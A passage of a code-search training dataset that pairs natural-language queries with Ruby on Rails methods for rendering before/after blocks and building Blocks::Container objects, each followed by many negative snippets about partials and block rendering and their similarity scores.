"0.5554408",
"0.5554408",
"0.5521668",
"0.5501841",
"0.5486077",
"0.5461597",
"0.5453582",
"0.5450256",
"0.5421969",
"0.54215497",
"0.54212046",
"0.54178405",
"0.5410954",
"0.5380754",
"0.5372453",
"0.536895",
"0.535723",
"0.5338782",
"0.533308",
"0.53276145",
"0.53162676",
"0.5309548",
"0.5309548",
"0.5308356",
"0.5308356",
"0.52892905",
"0.52559894",
"0.5252182",
"0.5237666",
"0.52339894",
"0.5233655",
"0.5220849",
"0.52137566",
"0.51988924",
"0.51928425",
"0.519135",
"0.51868945",
"0.5180246",
"0.5175626",
"0.51689196",
"0.5161141",
"0.51473194",
"0.51432306",
"0.51429605",
"0.5127296",
"0.51215625",
"0.50937176",
"0.5076613",
"0.50681573",
"0.5064829",
"0.5062243",
"0.50597304",
"0.5057367",
"0.505604",
"0.50545424",
"0.5051656",
"0.5049043",
"0.504477",
"0.50444406",
"0.5033029",
"0.50302577",
"0.50258213",
"0.50191665",
"0.5014518",
"0.5006079",
"0.5000873",
"0.49930614",
"0.4992861",
"0.4992861",
"0.49872744",
"0.498468"
] |
0.7496595
|
0
|
Utility method to render either the before or after blocks for a partial block
|
def render_before_or_after_blocks(name_or_container, before_or_after, *args)
options = args.extract_options!
block_options = {}
if (name_or_container.is_a?(Blocks::Container))
name = name_or_container.name.to_sym
block_options = name_or_container.options
else
name = name_or_container.to_sym
block_options = blocks[name].options if blocks[name]
end
before_name = "#{before_or_after}_#{name.to_s}".to_sym
buffer = ActiveSupport::SafeBuffer.new
blocks[before_name].each do |block_container|
args_clone = args.clone
args_clone.push(global_options.merge(block_options).merge(block_container.options).merge(options))
buffer << view.capture(*(args_clone[0, block_container.block.arity]), &block_container.block)
end if blocks[before_name].present?
buffer
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def render_partial(context, options, &block); end",
"def render_before_blocks(name_or_container, *args)\n render_before_or_after_blocks(name_or_container, \"before\", *args)\n end",
"def render_partial(*ignore_args); end",
"def render_after_blocks(name_or_container, *args)\n render_before_or_after_blocks(name_or_container, \"after\", *args)\n end",
"def render_block(block, options = {})\n render partial: partial_name_for(block, options), object: block, as: :block\n end",
"def respond_with_partial_or(partial_layout: \"/layouts/_panel\", &block) \n if partial_path.to_s.strip.present?\n respond_with_partial(layout_path: partial_layout)\n else\n yield\n end\n end",
"def block_to_partial(partial_name, options = {}, &block) \n # replace :id with :cssid and :class with :cssclass\n if options[:id]\n options[:cssid] = options.delete(:id)\n else\n options[:cssid] = \"\" if options[:cssid].nil?\n end\n if options[:class]\n options[:cssclass] = options.delete(:class) \n else\n options[:cssclass] = \"\" if options[:cssclass].nil? \n end \n \n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def after_render(&block)\n @after_render_block = block\n end",
"def block_to_partial(partial_name, options = {}, &block)\n #puts \"PARTIAL_NAME=#{partial_name},OPTIONS=#{options},BLOCK=#{block}\"\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def on_partial(name, indentation)\n \"@output_buffer.concat(render(:partial => #{name.inspect}));\\n\"\n end",
"def pre_block\n end",
"def pre_block\n end",
"def partial?; end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def partial; end",
"def partial; end",
"def partial; end",
"def partial; end",
"def render\n Debug.debug { \"Now rendering #{@context} block for #{self}\" }\n @document.playback_attributes @attributes\n out = renderer.render(\"block_#{@context}\", self)\n @document.callouts.next_list if @context == :colist\n out\n end",
"def render_views_in_this(block)\n html = ''\n block.views.each do |view|\n models_view = view.models_view(block)\n \n if view.model_name =~ /(tag)|(image)/ && !view.scope.blank?\n scope_model = view.owner_id.blank? ? eval(\"@#{view.scope}\") : model_class(view.scope).find(view.owner_id)\n data = eval(\"scope_model.#{view.model_name.pluralize}\")\n \n elsif view.model_name == 'post' && view.scope == 'tag'\n tag = view.owner_id.blank? ? eval(\"@tag\") : Tag.find(view.owner_id)\n data = Post.find(:all, :conditions => models_view.conditions).select { |p| p.tags.map(&:name).include? tag.name }\n data = data.paginate(:per_page => 15, :page => params[:page]) if models_view.paginate\n \n else\n data = view.model.all(view_find_options(view, models_view))\n end\n \n html << render(:partial => \"#{view_types_dir}#{models_view.view_type}\", :locals => { :data => data })\n end\n html\n #rescue\n # resource = block.class.to_controller_str\n # block_str = current_user && current_user.has_permission?(resource, 'edit', params) ? \"<a href='/#{resource}/#{block.id}/edit'>#{block.title}</a>\" : block.title\n # \"<div class='flash error'>And error occured loading view in block: #{block_str}</div>\"\n end",
"def render_views_in_this(block)\n html = ''\n block.views.each do |view|\n models_view = view.models_view(block)\n \n if view.model_name =~ /(tag)|(image)/ && !view.scope.blank?\n scope_model = view.owner_id.blank? ? eval(\"@#{view.scope}\") : model_class(view.scope).find(view.owner_id)\n data = eval(\"scope_model.#{view.model_name.pluralize}\")\n \n elsif view.model_name == 'post' && view.scope == 'tag'\n tag = view.owner_id.blank? ? eval(\"@tag\") : Tag.find(view.owner_id)\n data = Post.find(:all, :conditions => models_view.conditions).select { |p| p.tags.map(&:name).include? tag.name }\n data = data.paginate(:per_page => 15, :page => params[:page]) if models_view.paginate\n \n else\n data = view.model.all(view_find_options(view, models_view))\n end\n \n html << render(:partial => \"#{view_types_dir}#{models_view.view_type}\", :locals => { :data => data })\n end\n html\n #rescue\n # resource = block.class.to_controller_str\n # block_str = current_user && current_user.has_permission?(resource, 'edit', params) ? \"<a href='/#{resource}/#{block.id}/edit'>#{block.title}</a>\" : block.title\n # \"<div class='flash error'>And error occured loading view in block: #{block_str}</div>\"\n end",
"def partial_in(controller, partial_name, *args)\n partial_name = PARTIAL_PREFIX + partial_name.to_s\n begin\n controller.render_partial(partial_name, *args)\n rescue\n Ramaze::Log.error(\"Error loading partial #{controller.to_s}.#{partial_name}\")\n raise $!\n end\n end",
"def before_block_boundary?; end",
"def block_render(_partial_name, _partial_locals={})\n render(:layout => _partial_name, :locals => _partial_locals) do\n yield\n end\n end",
"def render_partial(event)\r\n render_partial_with_logging(event) unless render_without_logging\r\n end",
"def partial(page, locals={})\n haml page, {:layout => false}, locals\n end",
"def raw_block_to_partial(partial_name, options = {}, &block)\n options.merge!(:block => block)\n render(:partial => partial_name, :locals => options)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def render_partial(event)\n render_partial_with_logging(event) unless render_without_logging\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n @options = options\n concat(render(:partial => partial_name), block.binding)\n end",
"def content\n @blocks.map {|b| b.render } * EOL\n end",
"def partial_html_sections\n # Tell our application_helper#url_for to generate urls with hostname\n @generate_urls_with_host = true\n # Force background status to be the spinner--default js way of putting\n # spinner in does not generally work through ajax techniques.\n @force_bg_progress_spinner = true\n # Mark that we're doing a partial generation, because it might\n # matter later.\n @generating_embed_partials = true\n # Run the request if neccesary.\n self.service_dispatch()\n @user_request.save!\n self.api_render()\n end",
"def render_wizard_partial(main_wizard_model, f)\n @page = main_wizard_model.page || 0\n path = @controller.class.controller_path\n\n template = \"\"\n (0...@page).each { |i|\n fname = \"#{path}/sub_pages/#{main_wizard_model.get_page_template(i)}_hidden\"\n template << \"<%= yield :included_wizard_page_#{i+1} %>\"\n content_for \"included_wizard_page_#{i+1}\" do\n render :partial=>fname, :locals=>{:main_form=>f} rescue \"\"\n end\n }\n\n template << \"<%= yield :included_wizard_page_#{@page+1} %>\"\n content_for \"included_wizard_page_#{@page+1}\" do\n render :partial=>wizard_page_template(main_wizard_model), :locals=>{:main_form=>f}\n end\n\n render :inline=>template\n end",
"def render(*args)\n if args.first.is_a?(Hash) && args.first.keys.include?(:partial)\n return haml \"layouts/_#{args.first[:partial]}.html\".to_sym, :layout => false\n else\n super\n end\n end",
"def partial(partial)\n partial_view = \"partials/_#{partial}\".to_sym\n erb partial_view, :layout => false\nend",
"def render_with_layout_and_partials(format)\n # looking for system mail.\n template = MailEngine::MailTemplate.where(:path => \"#{controller_path}/#{action_name}\", :format => format, :locale => I18n.locale, :partial => false, :for_marketing => false).first\n # looking for marketing mail.\n template = MailEngine::MailTemplate.where(:path => action_name, :format => format, :locale => I18n.locale, :partial => false, :for_marketing => true).first if template.blank?\n\n # if found db template set the layout and partial for it.\n if template\n related_partial_paths = {}\n # set @footer or @header\n template.template_partials.each do |tmp|\n related_partial_paths[\"#{tmp.placeholder_name}_path\".to_sym] = tmp.partial.path\n end\n\n # set layout\n render :template => \"#{controller_path}/#{action_name}\", :layout => \"layouts/mail_engine/mail_template_layouts/#{template.layout}\", :locals => related_partial_paths\n else\n # if not found db template should render file template\n render(action_name)\n end\n end",
"def after_block_boundary?; end",
"def render_parent_block(name, context, blocks = {})\n # ob_start();\n display_parent_block(name, context, blocks)\n # return ob_get_clean();\n end",
"def to_prepare_blocks; end",
"def render_to_sidebar!(partial_name, options = {})\n sidebar_contains render(options.merge(:partial => partial_name))\n end",
"def render(page)\n rails_render(partial: page.tr(\"-\", \"_\"), layout: false) ||\n rails_render(action: page.tr(\"-\", \"_\"), layout: false) ||\n super.html_safe\n end",
"def block_html(raw)\n raw = unindent(raw)\n\n if md = raw.match(/\\<(.+?)\\>(.*)\\<(\\/.+?)\\>/m)\n open_tag, content, close_tag = md.captures\n \"<#{open_tag}>\\n#{recursive_render(unindent(content))}<#{close_tag}>\"\n else\n raw\n end\n end",
"def after_include_or_extend( & block )\n\n add_hook_context( :after_include )\n add_hook_context( :after_extend )\n action( & block ) if block_given?\n \n return self\n\n end",
"def content\n c = Partial.new\n c << <<-CONTENT\n\n 1. Do the thing\n 2. Do other thing\n 3. Do the third thing\n Q. Quit the thing\n\n CONTENT\n c\n end",
"def partial(file_name)\n erb file_name, :layout => false\n end",
"def render_block(name, context, blocks = {}, use_blocks = true)\n # ob_start();\n display_block(name, context, blocks, use_blocks)\n # return ob_get_clean();\n end",
"def render_partial(partial, content)\n template = ERB.new(File.read partial)\n content_binding = binding_from_hash(content)\n template.result(content_binding).html_safe\n end",
"def page_block(title = nil, options = {}, &block)\n block_to_partial('shared/block', options.merge(:title => title), &block)\n end",
"def partials(collection)\n partial(collection) if collection\n end",
"def render_extra_partials(f)\n @extension_partials.inject(\"\") do |extras, partial|\n extras += render :partial => partial, :locals => {:form => f}\n end\n end",
"def streamlined_render(options = nil, deprecated_status = nil, &block)\n begin\n render(options, deprecated_status, &block)\n rescue ActionView::TemplateError => ex \n raise ex\n rescue Exception => ex\n if options\n if options[:partial] && @managed_partials.include?(options[:partial])\n options[:partial] = controller.generic_view(options[:partial])\n render(options, deprecated_status, &block)\n else\n raise ex\n end\n else\n view_name = default_template_name.split(\"/\")[-1]\n render(:template => StreamlinedController.generic_view(view_name))\n end\n end\n end",
"def partial(template, locals = {})\n haml(template, {:layout => false}, locals)\n end",
"def partial(template, locals = {})\n haml(template, {:layout => false}, locals)\n end",
"def partial(template, locals = {})\n haml(template, { layout: false }, locals)\n end",
"def render_plain_styleblock(name)\n @block_html.gsub('$modifier_class', '').gsub(' class=\"\"', '').prepend('<div class=\"styleguide-styleblock\">') << '</div>'\n end",
"def partial(page, options={})\n erb page, options.merge!(:layout => false)\n end",
"def partial(page, options={})\n erb page, options.merge!(:layout => false)\n end",
"def apply_template_before?; end",
"def html_blocklike_show(title, content)\n render('layouts/block', :title => title, :content => content) unless content.blank?\n end",
"def render_partial(p,local_assigns={})\n# ActionView::TestCase::Behavior#, which invokes ActionView::Rendering#:\n if local_assigns.blank? # Work around bugs:\n render :partial => p\n else\n render p, local_assigns\n end\n @partial=p.clone.insert p.index(?/)+1, '_'\n end",
"def render_partial(context, options, &block) # :nodoc:\n render_partial_to_object(context, options, &block).body\n end",
"def apply_template_after?; end",
"def render_at_block(data)\n data.map { |key, block| \"#{key} { #{render_block(block)} }\" }.join('')\n end",
"def field_block(cols = 2, &block)\n css_class = \"float_left\"\n css_class << \"_#{cols}\" unless cols == 2\n concat('<div class=\"'+ css_class +'\">', block.binding)\n yield\n concat('</div>', block.binding)\n concat('<div style=\"clear:both;\"></div>', block.binding)\n end",
"def render(options = {}, locals = {}, &block)\n buffer = super\n opts = { context: self, buffer: buffer, options: options, locals: locals }\n ActiveSupport::Notifications.instrument(:render_partial, opts)\n buffer\n end",
"def capture_template_block(*args, &blk)\n if respond_to?(:is_haml?) && is_haml?\n capture_haml(*args, &blk)\n else\n with_output_buffer(&blk)\n end\n end",
"def partial(template, locals = {})\n haml(template, :layout => false, :locals => locals)\n end",
"def putFragmentBlock\n puts_tag(\"fragments\") { yield }\n end",
"def partial_description(*args)\n c = \" \"\n if SemiStatic::Engine.config.open_partials[args.first]\n path = File.dirname Rails.root.join('app', 'views') + SemiStatic::Engine.config.open_partials[args.first]\n filename = \"_#{SemiStatic::Engine.config.open_partials[args.first].split('/').last}.html.haml\"\n if File.exist? path + '/' + filename\n File.open(path + '/' + filename) do |file|\n while (line = file.gets)\n if (line.split('-#').count == 2) && line.split('-#').first.empty?\n content = line.split.last\n if conter\n c += line.split('-#').last.to_s.gsub!(/\\n/, \" \")\n else\n\n end\n end\n end\n end\n end\n end\n c\n end",
"def before_include_or_extend( & block )\n \n add_hook_context( :before_include )\n add_hook_context( :before_extend )\n action( & block ) if block_given?\n \n return self\n \n end",
"def some_partial\n # Used for testing.\n render_in_modal('layouts/some_partial')\n end",
"def render_extra_partials(f)\n @extension_partials.inject(\"\") do |extras, partial|\n extras += render :partial => partial, :locals => {:f => f}\n end\n end",
"def prepend_yield\n content_tag :div, :id => \"main-flashses\" do\n render :partial => 'common/flash_msg'\n end\n end",
"def render_block(name_or_container, *args, &block)\n buffer = ActiveSupport::SafeBuffer.new\n\n name, block_render_options = extract_block_name_and_options(name_or_container)\n\n block_definition_options = {}\n if blocks[name]\n block_container = blocks[name]\n block_definition_options = block_container.options\n end\n\n options = global_options.merge(block_definition_options).merge(block_render_options).merge(args.extract_options!)\n\n if blocks[name]\n block_container = blocks[name]\n args.push(options)\n buffer << view.capture(*(args[0, block_container.block.arity]), &block_container.block)\n elsif options[:use_partials] && !options[:skip_partials]\n begin\n begin\n buffer << view.render(\"#{name.to_s}\", options)\n rescue ActionView::MissingTemplate, ArgumentError\n buffer << view.render(\"#{options[:partials_folder]}/#{name.to_s}\", options)\n end\n rescue ActionView::MissingTemplate, ArgumentError\n args.push(global_options.merge(options))\n buffer << view.capture(*(args[0, block.arity]), &block) if block_given?\n end\n else\n args.push(global_options.merge(options))\n buffer << view.capture(*(args[0, block.arity]), &block) if block_given?\n end\n\n buffer\n end",
"def kss_block(section, &block)\n @section = @styleguide.section(section)\n modifiers = @section.modifiers\n\n @example_html = capture(&block)\n concat render(:partial => \"info/styleguide/css/styleguide_block\", :locals => {\n :html => @example_html,\n :modifiers => modifiers})\n end",
"def render_block(block, cached_widgets = {})\n uhook_collect_widgets(block) do |widget|\n next unless widget.valid?\n (cached_widgets[widget.id] || render_widget(widget)).tap do |output|\n # A widget didn't return an string, return inmediately\n return unless output\n end\n end\n end",
"def cms_block_render(identifier, blockable = @cms_page)\n return '' unless tag = ComfortableMexicanSofa::ViewMethods.cms_block_tag(identifier, blockable)\n render :inline => ComfortableMexicanSofa::Tag.process_content(blockable, tag.render)\n end",
"def partial(template_name, locals, &content)\n self.kramdown_source.render(template_name)\n end",
"def cms_block_render(identifier, blockable = @cms_page)\n tag = blockable && (block = blockable.blocks.find_by_identifier(identifier)) && block.tag\n return '' unless tag\n render :inline => ComfortableMexicanSofa::Tag.process_content(blockable, tag.render)\n end",
"def render_manifestation_partial(doc, i, action_name)\n if( i%2 == 0) \n color = \"even\"\n else \n color = \"odd\"\n end\n format = document_partial_name(doc)\n begin\n render :partial=>\"catalog/_#{action_name}_partials/#{format}\", :locals=>{:mandoc=>doc, :color=>color}\n rescue ActionView::MissingTemplate\n\n render :partial=>\"catalog/_#{action_name}_partials/manifestation.html.erb\", :locals=>{:mandoc=>doc, :color=>color}\n end\n end",
"def with_raw_haml_concat\n yield\n end",
"def render_partial(template, types, context)\n templates.get(template, types).render(context)\n end",
"def render_content_type_partial(object, engage)\n if engage == false\n if object.class.name == \"Job\"\n render 'website/jobs/job', job: object\n elsif object.class.name == \"Post\"\n render 'website/posts/post', post: object\n elsif object.class.name == \"Offer\"\n render 'website/offers/offer', offer: object\n elsif object.class.name == \"BeforeAfter\"\n render 'website/before_afters/before_after', before_after: object\n elsif object.class.name == \"Gallery\"\n render 'website/galleries/gallery', gallery: object\n elsif object.class.name == \"Event\"\n render 'website/events/event', event: object\n elsif object.class.name == \"EventDefinition\"\n render 'website/event_definitions/event_definition', event_definition: object\n elsif object.class.name == \"QuickPost\"\n render 'website/quick_posts/quick_post', quick_post: object\n end\n elsif engage == true\n # if object.class.name == \"Job\"\n # render 'listing/listings/job', job: object\n if object.class.name == \"Post\"\n render 'listing/listings/post', post: object\n elsif object.class.name == \"Offer\"\n render 'listing/listings/offer', offer: object\n elsif object.class.name == \"BeforeAfter\"\n render 'listing/listings/before_after', before_after: object\n elsif object.class.name == \"Gallery\"\n render 'listing/listings/gallery', gallery: object\n elsif object.class.name == \"Event\"\n render 'listing/listings/event', event: object\n elsif object.class.name == \"EventDefinition\"\n render 'listing/listings/event_definition', event_definition: object\n elsif object.class.name == \"QuickPost\"\n render 'listing/listings/quick_post', quick_post: object\n end\n end\n end",
"def fetch_or_cache_partial(cached_partials, template, order_by:); end",
"def render_view_hook(view, placement, context, args = {})\n find(view, placement).each_with_object(\"\".html_safe) do |partial, buffer|\n buffer.safe_concat context.render(partial, **args)\n end\n end",
"def render_txn_partials(order)\n @txn_partials.inject(\"\") do |extras, partial|\n extras += render :partial => partial, :locals => {:payment => order}\n end\n end",
"def render\n if @block\n instance_eval(&@block)\n end\n end",
"def show_partial\n Partial\n end",
"def render(*args, &block); end",
"def on_partial(name, offset, indentation)\n ev(\"ctx.partial(#{name.to_sym.inspect}, #{indentation.inspect})\")\n end",
"def after_include_or_extend( *contexts, & block )\n\n return frame_definer.after_include_or_extend( *contexts, & block )\n\n end",
"def partial(template, locals = {})\n erb(template, :layout => false, :locals => locals)\n end",
"def partial(template, locals = {})\n erb(template, :layout => false, :locals => locals)\n end",
"def render_dashboard_partials\n for file in dashboard_partials\n \trender(:file => file)\n \tend\n end",
"def get_content_for_layout()\n get_partial(@type)\n # if @type == \"home\"\n # get_partial('home')\n # elsif @type == \"page\"\n # get_partial('page')\n # elsif @type == \"article\"\n # get_partial('article')\n # elsif @type == \"category\"\n # get_partial('category')\n # end\n end",
"def render_partial(action_name, variables = {})\n render_custom(action_name, variables) do |action|\n action.layout = nil\n yield(action) if block_given?\n end\n end",
"def _draw_2_lane(&block)\n result = @left ? @vc.tag(:tr, nil, true) : ''.html_safe\n result += yield\n result += '</tr>'.html_safe if !@left\n @left = !@left # flip it\n result\n end"
] |
[
"0.69064844",
"0.66394305",
"0.63921726",
"0.6139292",
"0.6085669",
"0.6035155",
"0.5979546",
"0.59664035",
"0.58847994",
"0.58707213",
"0.58612597",
"0.58612597",
"0.5859913",
"0.58227104",
"0.58227104",
"0.581345",
"0.581345",
"0.581345",
"0.581345",
"0.57896",
"0.5780207",
"0.5780207",
"0.57180405",
"0.5712253",
"0.57106197",
"0.5687917",
"0.56846124",
"0.5664655",
"0.56602746",
"0.56602746",
"0.56602746",
"0.56454736",
"0.5635042",
"0.5584613",
"0.5554298",
"0.55440795",
"0.5541673",
"0.5526176",
"0.55148435",
"0.5506169",
"0.54905665",
"0.547413",
"0.5461904",
"0.54583293",
"0.54517394",
"0.54389447",
"0.54385257",
"0.5414817",
"0.5413952",
"0.5396001",
"0.53846455",
"0.5381552",
"0.5374395",
"0.5371509",
"0.53683794",
"0.53683794",
"0.53663474",
"0.53621715",
"0.5351691",
"0.5351691",
"0.5340685",
"0.5340633",
"0.5330815",
"0.53016114",
"0.52843195",
"0.52825505",
"0.52807444",
"0.52628696",
"0.5257681",
"0.5251947",
"0.5244726",
"0.52356577",
"0.5234981",
"0.5234356",
"0.5234268",
"0.52190125",
"0.5218035",
"0.5215558",
"0.5214176",
"0.5207063",
"0.520438",
"0.52022517",
"0.5201342",
"0.5199614",
"0.5194787",
"0.5190171",
"0.51899225",
"0.51869655",
"0.5182138",
"0.5180575",
"0.51783496",
"0.5177988",
"0.51723504",
"0.51557875",
"0.5154917",
"0.5154917",
"0.5148589",
"0.514669",
"0.51431715",
"0.5133524"
] |
0.7122868
|
0
|
Build a Blocks::Container object given the passed in arguments
|
def build_block_container(*args, &block)
options = args.extract_options!
anonymous = false
if args.first
name = args.shift
else
name = self.anonymous_block_name
anonymous = true
end
block_container = Blocks::Container.new
block_container.name = name.to_sym
block_container.options = options
block_container.block = block
block_container.anonymous = anonymous
block_container
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def define_block_container(*args, &block)\n block_container = self.build_block_container(*args, &block)\n blocks[block_container.name] = block_container if blocks[block_container.name].nil? && block_given?\n block_container\n end",
"def build(*args)\n # create the container they ask for with these args\n @container = @container_class.new *args\n # tack on the layout they wanted\n @container.layout = layout if layout\n\n # go through all the children, add them on and tack on the callbacks\n @children.each {|child|\n if @contents[child]\n # if this component answers the each call then go through all\n component = @contents[child]\n each_or_one(component) {|c| @container.add(c) }\n\n configure_interactions_for child, component\n end\n }\n\n # yield to the caller so that they can configure more before\n # we make it visible and pack it\n yield @container if block_given?\n\n # even though swing doesn't do this, we do\n @container.pack if @container.respond_to? :pack\n @container.visible = true if @container.respond_to? :visible\n\n # and now they can do whatever they want to the container\n @container\n end",
"def new_block_el(*args); end",
"def add_block_container_to_list(*args, &block)\n block_container = self.build_block_container(*args, &block)\n if blocks[block_container.name].nil?\n blocks[block_container.name] = [block_container]\n else\n blocks[block_container.name] << block_container\n end\n end",
"def build(*arguments, &block)\n build_class(*arguments, &block).new(*arguments, &block)\n end",
"def initialize(params = {}) # get a name from the \"new\" call, or set a default\n @current_model = false\n @containers = []\n @resources = []\n \n @uri = params.fetch(:uri, false) # this should be failure\n abort \"cannot create a Container with no identifier... I'm dying!\" unless @uri\n case @uri\n when String\n @uri = URI.parse(@uri)\n end\n \n @client = params.fetch(:client, self.client)\n @parent = params.fetch(:parent, self.parent)\n @toplevel_container = params.fetch(:top, self) # if there is no toplevel, then I must be!\n @init = params.fetch(:init, true)\n @debug = self.client.debug\n #now = Time.now.strftime(\"%Y-%m-%dT%H:%M:%S\")\n #@slug = params.fetch(:slug, now)\n \n if @init # should I initialize by reading the content\n init_folder\n end\n \n return self\n \n end",
"def build_containers_tree\n TreeBuilderContainers.new(\"containers_tree\", \"containers\", @sb)\n end",
"def run!(options = {})\n container = new(options) do |g|\n blocks.each do |block|\n block.call(g)\n end\n end\n container\n end",
"def build(&block)\n instance_eval(&block)\n end",
"def backpackContainer _args\n \"backpackContainer _args;\" \n end",
"def init(container)\n end",
"def create_container_and_configuration(p_args)\n\n # Create container\n tool_container = GuiUtils.create_child_form({\n\t\t\t\t:class => Ui_ToolDescriptionWidget,\n :flags => 0,\n\t\t\t\t:base_widget => CustomFontWidget.new(@tools_form),\n\t\t\t})\n\n # Create configuration\n tool_config = ToolConfiguration.new(p_args)\n\n # Return results\n { :container => tool_container, :config => tool_config }\n end",
"def new_block_el(*args)\n el = Element.new(*args)\n if @block_ial\n el.options[:ial] = @block_ial\n @block_ial = nil\n end\n el\n end",
"def define(name, options={}, &block)\n # Check if a block by this name is already defined.\n if blocks[name.to_sym].nil?\n # Store the attributes of the defined block in a container for later use\n block_container = BuildingBlocks::Container.new\n block_container.name = name\n block_container.options = options\n block_container.block = block\n \n blocks[name.to_sym] = block_container \n end\n \n nil\n end",
"def create_block(arg_type , frame_type)\n @callable.create_block(arg_type ,frame_type)\n end",
"def prepare_container(&block)\n @prepare_container_block = block\n self\n end",
"def create_container\n\t\t\t\t@command.container_class.new\n\t\t\tend",
"def make_blocks\n data = compress block_sources\n id = put_blocks_in_cache(data) # would prefer qless id here if possible\n return id\n end",
"def queue(*args, &block)\n self.queued_blocks << self.define_block_container(*args, &block)\n nil\n end",
"def build_block(transactions, prev_hash = hash)\n Block.new(transactions, prev_hash)\n end",
"def new(*args)\n obj = allocate()\n\n Rubinius.asm(args, obj) do |args, obj|\n run obj\n run args\n push_block\n send_with_splat :initialize, 0, true\n # no pop here, as .asm blocks imply a pop as they're not\n # allowed to leak a stack value\n end\n\n return obj\n end",
"def render_block(name_or_container, *args, &block)\n buffer = ActiveSupport::SafeBuffer.new\n\n name, block_render_options = extract_block_name_and_options(name_or_container)\n\n block_definition_options = {}\n if blocks[name]\n block_container = blocks[name]\n block_definition_options = block_container.options\n end\n\n options = global_options.merge(block_definition_options).merge(block_render_options).merge(args.extract_options!)\n\n if blocks[name]\n block_container = blocks[name]\n args.push(options)\n buffer << view.capture(*(args[0, block_container.block.arity]), &block_container.block)\n elsif options[:use_partials] && !options[:skip_partials]\n begin\n begin\n buffer << view.render(\"#{name.to_s}\", options)\n rescue ActionView::MissingTemplate, ArgumentError\n buffer << view.render(\"#{options[:partials_folder]}/#{name.to_s}\", options)\n end\n rescue ActionView::MissingTemplate, ArgumentError\n args.push(global_options.merge(options))\n buffer << view.capture(*(args[0, block.arity]), &block) if block_given?\n end\n else\n args.push(global_options.merge(options))\n buffer << view.capture(*(args[0, block.arity]), &block) if block_given?\n end\n\n buffer\n end",
"def build(base=nil, &block)\n if(base || block.nil?)\n struct = base || SparkleStruct.new\n struct.instance_exec(&block)\n struct\n else\n block\n end\n end",
"def di(name = nil, &block)\n if block_given?\n result = DI::Container.new(&block)\n DI::CONTAINERS[name] = result if name\n\n result\n else\n DI::CONTAINERS[name]\n end\n end",
"def create_container(container_type, element_type, size = 0)\n if element_type.respond_to?(:to_str)\n element_type = build(element_type)\n end\n return define_container(container_type.to_str, element_type, size)\n end",
"def prepare_container\n exposed_ports = {}\n port_bindings = {}\n links = []\n\n # Build expose and port binding parameters\n if !@attributes[:ports].nil?\n @attributes[:ports].each do |port|\n exposed_ports[\"#{port.container_port}/tcp\"] = {}\n port_bindings[\"#{port.container_port}/tcp\"] = [{\n \"HostIp\" => port.host_ip || '',\n \"HostPort\" => port.host_port || ''\n }]\n end\n end\n\n # Build link parameters\n @dependencies.each do |dependency|\n links << \"#{dependency.stats['Id']}:#{dependency.attributes[:label]}\"\n end\n\n container_config = {\n Image: @attributes[:image],\n Cmd: @attributes[:command],\n Env: @attributes[:environment],\n Volumes: @attributes[:volumes],\n ExposedPorts: exposed_ports,\n HostConfig: {\n Links: links,\n PortBindings: port_bindings\n }\n }\n\n @container = Docker::Container.create(container_config)\n end",
"def create_block(g, mod)\n pos(g)\n\n state = g.state\n state.scope.nest_scope self\n\n args = make_arguments(mod)\n\n blk = new_generator g, @name, args\n\n blk.push_state self\n\n blk.state.push_super state.super\n blk.state.push_eval state.eval\n\n blk.definition_line(@line)\n\n blk.state.push_name blk.name\n\n pos(blk)\n\n blk.state.push_block\n blk.push_modifiers\n blk.break = nil\n blk.next = nil\n blk.redo = blk.new_label\n blk.redo.set!\n\n # order matters quite a lot here\n args.bytecode(blk)\n\n recv = receiver_pattern(mod)\n if recv.binds?\n blk.push_self\n recv.deconstruct(blk, mod)\n end\n\n args.deconstruct_patterns(blk, mod)\n\n mod.compile(blk, @body)\n\n blk.pop_modifiers\n blk.state.pop_block\n\n blk.ret\n blk.close\n blk.pop_state\n\n blk.splat_index = args.splat_index\n blk.local_count = local_count\n blk.local_names = local_names\n\n g.create_block blk\n end",
"def uniformContainer _args\n \"uniformContainer _args;\" \n end",
"def vestContainer _args\n \"vestContainer _args;\" \n end",
"def build opts = nil, &blk\n builder.build opts, &blk\n end",
"def getObjectContainer( name , formName , frameName )\n\n \n fname = getFunctionName()\n log fname + \" Starting. building container for #{name} - Form: #{formName} - frameName: #{frameName} \" if $debuglevel >= 2\n frame = getObjectFrameReference( name , frameName )\n\n if formName == \"\" then\n o = frame.body\n else\n if formName.kind_of? Fixnum\n o = frame.forms[ formName.to_s ]\n end\n end\n\n return o\n end",
"def capture_builder(*args, &block)\n block.call(*args)\n end",
"def build_base_component(type, args, &block)\n build_sub_component :div, type, args, &block\n end",
"def store_definition args, &block\n base = current_base\n options = args.extract_options!\n args.inject(base) do |acc, element|\n container = {element => []}\n container[element] << {:options => options} unless options.empty?\n (acc << container).tap do\n with_scope(element, &block) if block_given?\n end\n end\n end",
"def build(name, *traits_and_overrides, &block); end",
"def new\n\t\t@block = Block.new\n\tend",
"def build(args={})\n Resource.new(stack, args.to_smash)\n end",
